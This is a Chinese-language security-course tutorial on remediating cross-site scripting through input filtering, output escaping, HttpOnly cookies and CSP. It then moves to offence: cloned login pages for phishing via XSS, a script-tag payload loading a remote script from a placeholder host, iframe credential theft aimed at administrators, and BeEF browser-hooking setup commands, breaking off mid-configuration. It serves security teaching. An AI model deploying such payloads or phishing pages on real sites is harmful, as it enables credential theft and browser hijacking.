跨站脚本漏洞修复

本文内容来自蚁景网安课程。

XSS漏洞修复

输入过滤

对用户提交的数据进行有效性验证,仅接受指定长度范围内并符合我们期望的格式提交,阻止或忽略除此以外的其他任何数据。

输出转义

在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

htmlspecialchars()可以把预定义的字符转换为HTML实体。

预定义的字符如下:

& (和号)成为 &

" (双引号)成为 "

' (单引号)成为 '

< (小于)成为 <

> (大于)成为 >

HttpOnly

HttpOnly是加在Cookies上的一个标识,用于告诉浏览器不要向客户端脚本(document.cookie或其他)暴露Cookie。在Cookie上设置HttpOnly标识后,浏览器就会知道这是特殊Cookie,只能由服务器检索到,所有来自客户端脚本的访问都会被禁止。

HttpOnly: 禁止Javascript读取,如果Cookie中的一个参数带有HttpOnly,这个参数将不能被Javascript获取,HttpOnly可以防止XSS会话劫持攻击。

配合CSP

CSP(Content Security Policy)指内容安全策略,为了缓解很大一部分潜在跨站脚本问题,浏览器扩展程序系统引入了内容安全策略(CSP)的一般概念。

CSP本质上是简历白名单,规定了浏览器只能够执行特定来源的代码,即使发生了XSS攻击,也不会加载来源不明的第三方脚本。

其他拓展

获取账号密码

在使用HttpOnly的网站无法利用XSS漏洞获取Cookie,但可以伪造一个钓鱼页面获取用户的账号密码。

钓鱼原理

诱导用户输入网站的账号密码,被我们自己搭建在公网上的服务器获取,跳转到我们自己搭建的服务器时,我们可以在自己的服务器上写一段代码传送获取到的账号密码跳转到的这个钓鱼页面网站的真实登入页面进行登入。

制作钓鱼页面

为了模拟真实的登录页面,可以将原网站的登录页面的源码复制下来,然后将里面的一些路径修改为网站的地址。

接收钓鱼信息

当受害者输入账号密码之后会通过该页面进行接收,然后返回正常网站页面。

1
<script src=http://example.com/fakeweb.js></script>

iframe元素会创建包含另外一个文档的内联框架也就是说如果我们在网页中添加了一个iframe元素,src一个需要内联的网址,然后src的网页就会加载在当前网站,这样当XSS代码被触发时,网站就会内嵌一个伪造过的与原页面相同的钓鱼页面在管理员的浏览器上,管理员可能就以为自己退出了系统,然后重新输入用户名和密码,这样密码就会被发送到攻击者的服务器上。

BeEf使用

简介

BeEf(The Browser Exploitation Framework),是一款针对浏览器的渗透测试工具。Kali集成BeEf,而且有很多好用的PayLoad。例如,通过XSS这个简单漏洞,BeEf可以通过一段编制好的Javascript控制目标主机的浏览器。

攻击流程

生成交互PayLoad的hook。

服务器端:BeEf作为服务器端管理,管理访问运行了hook的客户端。

客户端:运行于客户端浏览器的Javascript脚本(hook),也就是BeEf生成的PayLoad。

BeEf将运行了hook的Web浏览器,进行管理。

攻击手段

配合XSS,将hook插入到存在XSS的注入处

直接诱使客户端访问含有hook的伪造站点

结合中间人攻击注入hook脚本

使用方法

启动,第一次启动需要设置账号密码(新版Kali需要安装)

sudo apt-get update

apt install beef-xss #安装beef

cd /usr/share/beef-xss #切换到beef目录

vim config.yaml #打开配置文件

进入插入模式,找到host修改成本机地址